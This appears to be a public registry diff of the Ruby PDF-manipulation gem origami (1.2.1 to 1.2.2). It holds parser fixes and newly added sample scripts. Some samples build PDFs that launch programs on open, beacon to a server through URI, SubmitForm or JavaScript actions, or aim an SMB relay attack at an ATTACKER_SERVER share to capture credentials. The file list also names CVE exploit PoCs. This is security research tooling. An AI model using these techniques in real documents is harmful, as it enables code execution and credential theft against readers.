origami 1.2.1 → 1.2.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/README +1 -1
- data/bin/gui/hexview.rb +1 -1
- data/bin/gui/menu.rb +4 -4
- data/bin/gui/textview.rb +6 -4
- data/bin/gui/treeview.rb +4 -4
- data/bin/gui/walker.rb +1 -1
- data/bin/pdf2graph +1 -1
- data/bin/pdf2pdfa +1 -1
- data/bin/pdf2ruby +1 -1
- data/bin/pdfcocoon +1 -1
- data/bin/pdfcop +1 -1
- data/bin/pdfdecompress +1 -1
- data/bin/pdfdecrypt +1 -1
- data/bin/pdfencrypt +1 -1
- data/bin/pdfextract +75 -14
- data/bin/pdfmetadata +1 -1
- data/bin/shell/.irbrc +1 -1
- data/{origami.rb → lib/origami.rb} +3 -3
- data/{origami → lib/origami}/3d.rb +0 -0
- data/{origami → lib/origami}/acroform.rb +2 -2
- data/{origami → lib/origami}/actions.rb +0 -0
- data/{origami → lib/origami}/annotations.rb +0 -0
- data/{origami → lib/origami}/array.rb +0 -0
- data/{origami → lib/origami}/boolean.rb +0 -0
- data/{origami → lib/origami}/catalog.rb +0 -0
- data/{origami → lib/origami}/destinations.rb +0 -0
- data/{origami → lib/origami}/dictionary.rb +0 -0
- data/{origami → lib/origami}/docmdp.rb +0 -0
- data/{origami → lib/origami}/encryption.rb +9 -7
- data/{origami → lib/origami}/export.rb +0 -0
- data/lib/origami/extensions/fdf.rb +257 -0
- data/{origami/adobe → lib/origami/extensions}/ppklite.rb +3 -1
- data/{origami → lib/origami}/file.rb +0 -0
- data/{origami → lib/origami}/filters.rb +0 -0
- data/{origami → lib/origami}/filters/ascii.rb +0 -0
- data/{origami → lib/origami}/filters/ccitt.rb +0 -1
- data/{origami → lib/origami}/filters/crypt.rb +0 -0
- data/{origami → lib/origami}/filters/dct.rb +0 -0
- data/{origami → lib/origami}/filters/flate.rb +0 -0
- data/{origami → lib/origami}/filters/jbig2.rb +0 -0
- data/{origami → lib/origami}/filters/jpx.rb +0 -0
- data/{origami → lib/origami}/filters/lzw.rb +0 -0
- data/{origami → lib/origami}/filters/predictors.rb +0 -0
- data/{origami → lib/origami}/filters/runlength.rb +0 -0
- data/{origami → lib/origami}/font.rb +0 -0
- data/{origami → lib/origami}/functions.rb +0 -0
- data/{origami → lib/origami}/graphics.rb +0 -0
- data/{origami → lib/origami}/graphics/colors.rb +45 -23
- data/{origami → lib/origami}/graphics/instruction.rb +0 -0
- data/{origami → lib/origami}/graphics/path.rb +0 -0
- data/{origami → lib/origami}/graphics/patterns.rb +0 -0
- data/{origami → lib/origami}/graphics/render.rb +0 -0
- data/{origami → lib/origami}/graphics/state.rb +2 -2
- data/{origami → lib/origami}/graphics/text.rb +0 -0
- data/{origami → lib/origami}/graphics/xobject.rb +219 -0
- data/{origami → lib/origami}/header.rb +0 -0
- data/{origami → lib/origami}/javascript.rb +0 -0
- data/{origami → lib/origami}/linearization.rb +0 -0
- data/{origami → lib/origami}/metadata.rb +0 -0
- data/{origami → lib/origami}/name.rb +0 -0
- data/{origami → lib/origami}/null.rb +0 -0
- data/{origami → lib/origami}/numeric.rb +0 -0
- data/{origami → lib/origami}/obfuscation.rb +0 -0
- data/{origami → lib/origami}/object.rb +7 -2
- data/{origami → lib/origami}/outline.rb +0 -0
- data/{origami → lib/origami}/outputintents.rb +0 -0
- data/{origami → lib/origami}/page.rb +0 -0
- data/{origami → lib/origami}/parser.rb +76 -51
- data/{origami → lib/origami}/parsers/fdf.rb +9 -6
- data/{origami/parsers/pdf/linear.rb → lib/origami/parsers/pdf.rb} +31 -39
- data/lib/origami/parsers/pdf/linear.rb +84 -0
- data/lib/origami/parsers/ppklite.rb +93 -0
- data/{origami → lib/origami}/pdf.rb +6 -3
- data/{origami → lib/origami}/reference.rb +0 -0
- data/{origami → lib/origami}/signature.rb +170 -19
- data/{origami → lib/origami}/stream.rb +9 -0
- data/{origami → lib/origami}/string.rb +0 -0
- data/{origami → lib/origami}/trailer.rb +0 -0
- data/{origami → lib/origami}/webcapture.rb +0 -0
- data/{origami → lib/origami}/xfa.rb +0 -0
- data/{origami → lib/origami}/xreftable.rb +3 -7
- data/samples/README.txt +45 -0
- data/samples/actions/launch/calc.rb +87 -0
- data/samples/actions/launch/winparams.rb +22 -0
- data/samples/actions/loop/loopgoto.rb +24 -0
- data/samples/actions/loop/loopnamed.rb +21 -0
- data/samples/actions/named/named.rb +31 -0
- data/samples/actions/samba/smbrelay.rb +26 -0
- data/samples/actions/triggerevents/trigger.rb +75 -0
- data/samples/actions/webbug/submitform.js +26 -0
- data/samples/actions/webbug/webbug-browser.rb +68 -0
- data/samples/actions/webbug/webbug-js.rb +67 -0
- data/samples/actions/webbug/webbug-reader.rb +90 -0
- data/samples/attachments/attach.rb +40 -0
- data/samples/attachments/attached.txt +1 -0
- data/samples/crypto/crypto.rb +28 -0
- data/samples/digsig/signed.rb +46 -0
- data/samples/exploits/cve-2008-2992-utilprintf.rb +87 -0
- data/samples/exploits/cve-2009-0927-geticon.rb +65 -0
- data/samples/exploits/exploit_customdictopen.rb +55 -0
- data/samples/exploits/getannots.rb +69 -0
- data/samples/flash/flash.rb +31 -0
- data/samples/flash/helloworld.swf +0 -0
- data/samples/javascript/attached.txt +1 -0
- data/samples/javascript/js.rb +52 -0
- data/{tests → test}/ts_pdf.rb +1 -1
- metadata +109 -95
- data/origami/adobe/fdf.rb +0 -259
- data/origami/parsers/pdf.rb +0 -27
- data/origami/parsers/ppklite.rb +0 -86
- data/tests/dataset/test.dummycrt +0 -28
- data/tests/dataset/test.dummykey +0 -27
- data/tests/tc_actions.rb +0 -32
- data/tests/tc_annotations.rb +0 -85
- data/tests/tc_pages.rb +0 -37
- data/tests/tc_pdfattach.rb +0 -24
- data/tests/tc_pdfencrypt.rb +0 -110
- data/tests/tc_pdfnew.rb +0 -32
- data/tests/tc_pdfparse.rb +0 -98
- data/tests/tc_pdfsig.rb +0 -37
- data/tests/tc_streams.rb +0 -129
|
@@ -92,6 +92,15 @@ module Origami
|
|
|
92
92
|
|
|
93
93
|
super
|
|
94
94
|
end
|
|
95
|
+
|
|
96
|
+
def method_missing(field, *args) #:nodoc:
|
|
97
|
+
if field.to_s[-1,1] == '='
|
|
98
|
+
self[field.to_s[0..-2].to_sym] = args.first
|
|
99
|
+
else
|
|
100
|
+
obj = self[field];
|
|
101
|
+
obj.is_a?(Reference) ? obj.solve : obj
|
|
102
|
+
end
|
|
103
|
+
end
|
|
95
104
|
|
|
96
105
|
def self.parse(stream) #:nodoc:
|
|
97
106
|
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
@@ -65,7 +65,7 @@ module Origami
|
|
|
65
65
|
USED = "n"
|
|
66
66
|
FIRSTFREE = 65535
|
|
67
67
|
|
|
68
|
-
@@regexp = /(\d{10}) (\d{5}) (n|f)(\r|
|
|
68
|
+
@@regexp = /(\d{10}) (\d{5}) (n|f)(\r\n| \r| \n)/
|
|
69
69
|
|
|
70
70
|
attr_accessor :offset, :generation, :state
|
|
71
71
|
|
|
@@ -76,9 +76,7 @@ module Origami
|
|
|
76
76
|
# _state_:: The state of the referenced Object (FREE or USED).
|
|
77
77
|
#
|
|
78
78
|
def initialize(offset, generation, state)
|
|
79
|
-
|
|
80
79
|
@offset, @generation, @state = offset, generation, state
|
|
81
|
-
|
|
82
80
|
end
|
|
83
81
|
|
|
84
82
|
def self.parse(stream) #:nodoc:
|
|
@@ -155,9 +153,9 @@ module Origami
|
|
|
155
153
|
size = stream[2].to_i
|
|
156
154
|
|
|
157
155
|
xrefs = []
|
|
158
|
-
size.times
|
|
156
|
+
size.times do
|
|
159
157
|
xrefs << XRef.parse(stream)
|
|
160
|
-
|
|
158
|
+
end
|
|
161
159
|
|
|
162
160
|
XRef::Subsection.new(start, xrefs)
|
|
163
161
|
end
|
|
@@ -315,8 +313,6 @@ module Origami
|
|
|
315
313
|
include Enumerable
|
|
316
314
|
include StandardObject
|
|
317
315
|
|
|
318
|
-
attr_reader :xrefs
|
|
319
|
-
|
|
320
316
|
#
|
|
321
317
|
# Xref fields
|
|
322
318
|
#
|
data/samples/README.txt
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
:: SUBDIRECTORIES
|
|
2
|
+
=================
|
|
3
|
+
|
|
4
|
+
``attachments/``
|
|
5
|
+
* Adding a file attachment to a PDF document.
|
|
6
|
+
|
|
7
|
+
``crypto/``
|
|
8
|
+
* PDF encryption (supports RC4 40-128 bits, and AES128).
|
|
9
|
+
- crypto.rb : Create a simple encrypted document.
|
|
10
|
+
- encrypt.rb : Encrypt an existing document.
|
|
11
|
+
|
|
12
|
+
``digsig/``
|
|
13
|
+
* PDF digital signatures. Create a new document and signs it with test.key.
|
|
14
|
+
|
|
15
|
+
``exploits/``
|
|
16
|
+
* Basic exploits PoC generation.
|
|
17
|
+
|
|
18
|
+
``flash/``
|
|
19
|
+
* PDF with Flash object. Create a document with an embedded SWF file.
|
|
20
|
+
|
|
21
|
+
``actions/launch/``
|
|
22
|
+
* Launch action. Create a document launching the calculator on Windows, Unix and MacOS.
|
|
23
|
+
|
|
24
|
+
``actions/loop/``
|
|
25
|
+
* Create a looping document using GoTo and Named actions (see also moebius in the scripts directory).
|
|
26
|
+
|
|
27
|
+
``actions/named/``
|
|
28
|
+
* Named action. Create a document prompting for printing.
|
|
29
|
+
|
|
30
|
+
``actions/triggerevents/``
|
|
31
|
+
* Create a document launching JS scripts on various events.
|
|
32
|
+
|
|
33
|
+
``actions/webbug/``
|
|
34
|
+
* Create a document connecting to a remote server.
|
|
35
|
+
- webbug-browser.rb : Connection using a URI action.
|
|
36
|
+
- webbug-reader.rb : Connection using a SubmitForm action.
|
|
37
|
+
- webbug-js.rb : Connection using JS script.
|
|
38
|
+
|
|
39
|
+
``actions/samba/``
|
|
40
|
+
* Implementation of a SMB relay attack using PDF. When opened in a
|
|
41
|
+
browser on Windows, the document tries to access a document shared
|
|
42
|
+
on a malicious SMB server (on a LAN). The server will then be able
|
|
43
|
+
to steal user credentials. This script merely forges the malicious
|
|
44
|
+
PDF document.
|
|
45
|
+
|
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
#!/usr/bin/ruby
|
|
2
|
+
|
|
3
|
+
begin
|
|
4
|
+
require 'origami'
|
|
5
|
+
rescue LoadError
|
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
|
|
7
|
+
$: << ORIGAMIDIR
|
|
8
|
+
require 'origami'
|
|
9
|
+
end
|
|
10
|
+
include Origami
|
|
11
|
+
|
|
12
|
+
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
|
|
13
|
+
|
|
14
|
+
puts "Generating a pdf launching calc on several OS!!"
|
|
15
|
+
|
|
16
|
+
pdf = PDF.new
|
|
17
|
+
|
|
18
|
+
#�Reader7.0 �
|
|
19
|
+
#�A popup firstly says it cannot open the specified file. Then the
|
|
20
|
+
#�file is opened once the "Open" button is clicked...
|
|
21
|
+
|
|
22
|
+
# Reader8.0
|
|
23
|
+
#�It "opens" the file, but does not execute it. By default, it seems
|
|
24
|
+
# it is passed to the default browser.
|
|
25
|
+
# Only local files can be opened this way.
|
|
26
|
+
#�If the file does not exist, it displays the content of the current
|
|
27
|
+
# directory
|
|
28
|
+
|
|
29
|
+
cmd = FileSpec.new
|
|
30
|
+
cmd.Unix = "/usr/bin/xcalc"
|
|
31
|
+
cmd.Mac = "/Applications/Calculator.app"
|
|
32
|
+
cmd.DOS = "C:\\\\WINDOWS\\\\system32\\\\calc.exe"
|
|
33
|
+
|
|
34
|
+
action = Action::Launch.new
|
|
35
|
+
action.F = cmd
|
|
36
|
+
|
|
37
|
+
pdf.onDocumentOpen( action )
|
|
38
|
+
|
|
39
|
+
contents = ContentStream.new
|
|
40
|
+
contents.write OUTPUTFILE,
|
|
41
|
+
:x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
|
|
42
|
+
|
|
43
|
+
contents.write "This page is empty but it should start calc :-D",
|
|
44
|
+
:x => 233, :y => 690, :rendering => Text::Rendering::FILL, :size => 15, :color => Graphics::Color::RGB.new(0, 150, 0)
|
|
45
|
+
|
|
46
|
+
contents.write "Dont be afraid of the pop-ups, just click them...",
|
|
47
|
+
:x => 233, :y => 670, :size => 15
|
|
48
|
+
|
|
49
|
+
contents.write "Comments:",
|
|
50
|
+
:x => 75, :y => 620, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
|
|
51
|
+
|
|
52
|
+
content = <<-EOS
|
|
53
|
+
Windows:
|
|
54
|
+
- Foxit 2: runs calc.exe at the document opening without any user confirmation message (!)
|
|
55
|
+
- Acrobat Reader *:
|
|
56
|
+
1. popup proposing to open \"calc.exe\" (warning)
|
|
57
|
+
2. starts \"calc.exe\"
|
|
58
|
+
|
|
59
|
+
Mac:
|
|
60
|
+
- Preview does not support PDF keyword /Launch
|
|
61
|
+
- Acrobat Reader 8.1.2: starts Calculator.app
|
|
62
|
+
|
|
63
|
+
Linux:
|
|
64
|
+
! Assumes xcalc is in /usr/bin/xcalc
|
|
65
|
+
- poppler: does not support PDF keyword /Launch
|
|
66
|
+
- Acrobat Reader 7:
|
|
67
|
+
1. popup telling it can not open \"xcalc\" (dumb reasons)
|
|
68
|
+
2. popup proposing to open \"xcalc\" (warning)
|
|
69
|
+
3. starts \"xcalc\"
|
|
70
|
+
- Acrobat Reader 8.1.2: based on xdg-open
|
|
71
|
+
- if you are running KDE, Gnome or xfce, xcalc is started after a popup
|
|
72
|
+
- otherwise, your brower is started and tries to download \"xcalc\"
|
|
73
|
+
|
|
74
|
+
Note:
|
|
75
|
+
For Linux and Mac, no argument can be given to the command...
|
|
76
|
+
|
|
77
|
+
EOS
|
|
78
|
+
|
|
79
|
+
contents.write content,
|
|
80
|
+
:x => 75, :y => 600, :rendering => Text::Rendering::FILL
|
|
81
|
+
|
|
82
|
+
page = Page.new.setContents( contents )
|
|
83
|
+
pdf.append_page( page )
|
|
84
|
+
|
|
85
|
+
pdf.save(OUTPUTFILE)
|
|
86
|
+
puts "PDF file saved as #{OUTPUTFILE}."
|
|
87
|
+
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
#!/usr/bin/ruby
|
|
2
|
+
|
|
3
|
+
begin
|
|
4
|
+
require 'origami'
|
|
5
|
+
rescue LoadError
|
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
|
|
7
|
+
$: << ORIGAMIDIR
|
|
8
|
+
require 'origami'
|
|
9
|
+
end
|
|
10
|
+
include Origami
|
|
11
|
+
|
|
12
|
+
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
|
|
13
|
+
|
|
14
|
+
params = Action::Launch::WindowsLaunchParams.new
|
|
15
|
+
params.F = "C:\\\\WINDOWS\\\\system32\\\\notepad.exe" # application or document to launch
|
|
16
|
+
params.D = "C:\\\\WINDOWS\\\\system32" # new current directory
|
|
17
|
+
params.P = "test.txt" # parameter to pass if F is an application
|
|
18
|
+
|
|
19
|
+
action = Action::Launch.new
|
|
20
|
+
action.Win = params
|
|
21
|
+
|
|
22
|
+
PDF.new.onDocumentOpen( action ).save(OUTPUTFILE)
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
begin
|
|
4
|
+
require 'origami'
|
|
5
|
+
rescue LoadError
|
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
|
|
7
|
+
$: << ORIGAMIDIR
|
|
8
|
+
require 'origami'
|
|
9
|
+
end
|
|
10
|
+
include Origami
|
|
11
|
+
|
|
12
|
+
pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG )
|
|
13
|
+
|
|
14
|
+
index = 1
|
|
15
|
+
pages = pdf.pages
|
|
16
|
+
|
|
17
|
+
pages.each do |page|
|
|
18
|
+
page.onOpen(Action::GoTo.new(Destination::GlobalFit.new pages[index % pages.size].reference))
|
|
19
|
+
|
|
20
|
+
index = index + 1
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
pdf.save("loopgoto_sample.pdf")
|
|
24
|
+
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
begin
|
|
4
|
+
require 'origami'
|
|
5
|
+
rescue LoadError
|
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
|
|
7
|
+
$: << ORIGAMIDIR
|
|
8
|
+
require 'origami'
|
|
9
|
+
end
|
|
10
|
+
include Origami
|
|
11
|
+
|
|
12
|
+
pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG )
|
|
13
|
+
|
|
14
|
+
pages = pdf.pages
|
|
15
|
+
|
|
16
|
+
pages.each do |page|
|
|
17
|
+
page.onOpen(Action::Named.new(Action::Named::NEXTPAGE)) unless page == pages.last
|
|
18
|
+
end
|
|
19
|
+
pages.last.onOpen(Action::Named.new(Action::Named::FIRSTPAGE))
|
|
20
|
+
|
|
21
|
+
pdf.save("loopnamed_sample.pdf")
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
#!/usr/bin/ruby
|
|
2
|
+
|
|
3
|
+
begin
|
|
4
|
+
require 'origami'
|
|
5
|
+
rescue LoadError
|
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
|
|
7
|
+
$: << ORIGAMIDIR
|
|
8
|
+
require 'origami'
|
|
9
|
+
end
|
|
10
|
+
include Origami
|
|
11
|
+
|
|
12
|
+
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
|
|
13
|
+
|
|
14
|
+
puts "Now generating a new PDF file from scratch!"
|
|
15
|
+
|
|
16
|
+
pdf = PDF.new
|
|
17
|
+
|
|
18
|
+
page = Page.new
|
|
19
|
+
|
|
20
|
+
contents = ContentStream.new
|
|
21
|
+
contents.write OUTPUTFILE,
|
|
22
|
+
:x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
|
|
23
|
+
|
|
24
|
+
page.Contents = contents
|
|
25
|
+
pdf.append_page(page)
|
|
26
|
+
|
|
27
|
+
pdf.onDocumentOpen Action::Named.new(Action::Named::PRINT)
|
|
28
|
+
|
|
29
|
+
pdf.save(OUTPUTFILE)
|
|
30
|
+
|
|
31
|
+
puts "PDF file saved as #{OUTPUTFILE}."
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
#!/usr/bin/ruby
|
|
2
|
+
|
|
3
|
+
begin
|
|
4
|
+
require 'origami'
|
|
5
|
+
rescue LoadError
|
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
|
|
7
|
+
$: << ORIGAMIDIR
|
|
8
|
+
require 'origami'
|
|
9
|
+
end
|
|
10
|
+
include Origami
|
|
11
|
+
|
|
12
|
+
#
|
|
13
|
+
# SMB relay attack.
|
|
14
|
+
# Uses a GoToR action to open a shared network directory.
|
|
15
|
+
#
|
|
16
|
+
|
|
17
|
+
ATTACKER_SERVER = "localhost"
|
|
18
|
+
|
|
19
|
+
pdf = PDF.read(ARGV[0])
|
|
20
|
+
|
|
21
|
+
dst = ExternalFile.new("\\\\#{ATTACKER_SERVER}\\origami\\owned.pdf")
|
|
22
|
+
gotor = Action::GoToR.new(dst, Destination::GlobalFit.new(0), true)
|
|
23
|
+
pdf.pages.first.onOpen(gotor)
|
|
24
|
+
|
|
25
|
+
pdf.save("#{File.basename($0, '.rb')}.pdf")
|
|
26
|
+
|
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
#!/usr/bin/ruby
|
|
2
|
+
|
|
3
|
+
begin
|
|
4
|
+
require 'origami'
|
|
5
|
+
rescue LoadError
|
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
|
|
7
|
+
$: << ORIGAMIDIR
|
|
8
|
+
require 'origami'
|
|
9
|
+
end
|
|
10
|
+
include Origami
|
|
11
|
+
|
|
12
|
+
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
|
|
13
|
+
|
|
14
|
+
puts "Now generating a new PDF file from scratch!"
|
|
15
|
+
|
|
16
|
+
pdf = PDF.new
|
|
17
|
+
|
|
18
|
+
page = Page.new
|
|
19
|
+
|
|
20
|
+
contents = ContentStream.new
|
|
21
|
+
contents.write "Pass your mouse over the yellow square",
|
|
22
|
+
:x => 250, :y => 750, :size => 15
|
|
23
|
+
|
|
24
|
+
page.setContents( contents )
|
|
25
|
+
|
|
26
|
+
onpageopen = Action::JavaScript.new "app.alert('Page Opened');"
|
|
27
|
+
onpageclose = Action::JavaScript.new "app.alert('Page Closed');"
|
|
28
|
+
ondocumentopen = Action::JavaScript.new "app.alert('Document is opened');"
|
|
29
|
+
ondocumentclose = Action::JavaScript.new "app.alert('Document is closing');"
|
|
30
|
+
onmouseover =Action::JavaScript.new "app.alert('Mouse over');"
|
|
31
|
+
onmouseleft =Action::JavaScript.new "app.alert('Mouse left');"
|
|
32
|
+
onmousedown = Action::JavaScript.new "app.alert('Mouse down');"
|
|
33
|
+
onmouseup = Action::JavaScript.new "app.alert('Mouse up');"
|
|
34
|
+
onparentopen = Action::JavaScript.new "app.alert('Parent page has opened');"
|
|
35
|
+
onparentclose = Action::JavaScript.new "app.alert('Parent page has closed');"
|
|
36
|
+
onparentvisible = Action::JavaScript.new "app.alert('Parent page is visible');"
|
|
37
|
+
onparentinvisible = Action::JavaScript.new "app.alert('Parent page is no more visible');"
|
|
38
|
+
namedscript = Action::JavaScript.new "app.alert('Names directory script');"
|
|
39
|
+
|
|
40
|
+
pdf.onDocumentOpen(ondocumentopen)
|
|
41
|
+
pdf.onDocumentClose(ondocumentclose)
|
|
42
|
+
page.onOpen(onpageopen).onClose(onpageclose)
|
|
43
|
+
|
|
44
|
+
pdf.register(Names::Root::JAVASCRIPT, "test", namedscript)
|
|
45
|
+
|
|
46
|
+
rect_coord = Rectangle[:llx => 350, :lly => 700, :urx => 415, :ury => 640]
|
|
47
|
+
|
|
48
|
+
# Just draw a yellow rectangle.
|
|
49
|
+
rect = Annotation::Square.new
|
|
50
|
+
rect.Rect = rect_coord
|
|
51
|
+
rect.IC = [ 255, 255, 0 ]
|
|
52
|
+
|
|
53
|
+
# Creates a new annotation which will catch mouse actions.
|
|
54
|
+
annot = Annotation::Screen.new
|
|
55
|
+
annot.Rect = rect_coord
|
|
56
|
+
|
|
57
|
+
# Bind the scripts to numerous triggers.
|
|
58
|
+
annot.onMouseOver(onmouseover)
|
|
59
|
+
annot.onMouseOut(onmouseleft)
|
|
60
|
+
annot.onMouseDown(onmousedown)
|
|
61
|
+
annot.onMouseUp(onmouseup)
|
|
62
|
+
annot.onPageOpen(onparentopen)
|
|
63
|
+
annot.onPageClose(onparentclose)
|
|
64
|
+
annot.onPageVisible(onparentvisible)
|
|
65
|
+
annot.onPageInvisible(onparentinvisible)
|
|
66
|
+
|
|
67
|
+
page.add_annot(annot)
|
|
68
|
+
page.add_annot(rect)
|
|
69
|
+
|
|
70
|
+
pdf.append_page(page)
|
|
71
|
+
|
|
72
|
+
# Save the resulting file.
|
|
73
|
+
pdf.save(OUTPUTFILE)
|
|
74
|
+
|
|
75
|
+
puts "PDF file saved as #{OUTPUTFILE}."
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
try
|
|
2
|
+
{
|
|
3
|
+
|
|
4
|
+
app.alert("First, I try to launch your browser :)");
|
|
5
|
+
app.launchURL("http://localhost/webbug-browser.html");
|
|
6
|
+
|
|
7
|
+
}
|
|
8
|
+
catch(e)
|
|
9
|
+
{
|
|
10
|
+
}
|
|
11
|
+
|
|
12
|
+
try
|
|
13
|
+
{
|
|
14
|
+
app.alert("Now I try to connect to the website, through your Reader");
|
|
15
|
+
|
|
16
|
+
this.submitForm(
|
|
17
|
+
{
|
|
18
|
+
cURL: "http://localhost/webbug-reader.php",
|
|
19
|
+
bAnnotations: true,
|
|
20
|
+
bGet: true,
|
|
21
|
+
cSubmitAs: "XML"
|
|
22
|
+
});
|
|
23
|
+
}
|
|
24
|
+
catch(e)
|
|
25
|
+
{
|
|
26
|
+
}
|
|
@@ -0,0 +1,68 @@
|
|
|
1
|
+
#!/usr/bin/ruby
|
|
2
|
+
|
|
3
|
+
begin
|
|
4
|
+
require 'origami'
|
|
5
|
+
rescue LoadError
|
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
|
|
7
|
+
$: << ORIGAMIDIR
|
|
8
|
+
require 'origami'
|
|
9
|
+
end
|
|
10
|
+
include Origami
|
|
11
|
+
|
|
12
|
+
OUTPUTFILE = "webbug-browser.pdf"
|
|
13
|
+
|
|
14
|
+
puts "Now generating a new bugged PDF file from scratch!"
|
|
15
|
+
|
|
16
|
+
URL = "http://localhost/webbug-browser.html"
|
|
17
|
+
|
|
18
|
+
pdf = PDF.new
|
|
19
|
+
|
|
20
|
+
contents = ContentStream.new
|
|
21
|
+
contents.write "webbug-browser.pdf",
|
|
22
|
+
:x => 270, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
|
|
23
|
+
|
|
24
|
+
contents.write "When opened, this PDF connects to \"home\"",
|
|
25
|
+
:x => 156, :y => 690, :rendering => Text::Rendering::FILL, :size => 15
|
|
26
|
+
|
|
27
|
+
contents.write "Click \"Allow\":",
|
|
28
|
+
:x => 156, :y => 670, :size => 12
|
|
29
|
+
|
|
30
|
+
contents.write " 1. Starts your default browser",
|
|
31
|
+
:x => 156, :y => 650, :size => 12
|
|
32
|
+
|
|
33
|
+
contents.write " 1. Connects to #{URL}",
|
|
34
|
+
:x => 156, :y => 630, :size => 12
|
|
35
|
+
|
|
36
|
+
contents.write "Comments:",
|
|
37
|
+
:x => 75, :y => 580, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
|
|
38
|
+
|
|
39
|
+
content = <<-EOS
|
|
40
|
+
Windows:
|
|
41
|
+
- Foxit : opens the default browser without any user confirmation (!)
|
|
42
|
+
- Acrobat Reader 8: a pop-up spreads asking if it can connect, then Internet Explorer is connected.
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
Mac:
|
|
46
|
+
- Preview: nothing happens
|
|
47
|
+
- Acrobat Reader 8: a pop-up spreads asking if it can connect, then Safari is connected
|
|
48
|
+
|
|
49
|
+
Linux:
|
|
50
|
+
- poppler: nothing happens
|
|
51
|
+
- Acrobat Reader [7, 8]: a pop-up spreads asking if it can connect
|
|
52
|
+
|
|
53
|
+
|
|
54
|
+
EOS
|
|
55
|
+
|
|
56
|
+
contents.write content,
|
|
57
|
+
:x => 75, :y => 560, :rendering => Text::Rendering::FILL
|
|
58
|
+
|
|
59
|
+
|
|
60
|
+
page = Page.new.setContents( contents )
|
|
61
|
+
pdf.append_page(page)
|
|
62
|
+
|
|
63
|
+
# Starting action
|
|
64
|
+
pdf.onDocumentOpen Action::URI.new(URL)
|
|
65
|
+
|
|
66
|
+
pdf.save(OUTPUTFILE)
|
|
67
|
+
|
|
68
|
+
puts "PDF file saved as #{OUTPUTFILE}."
|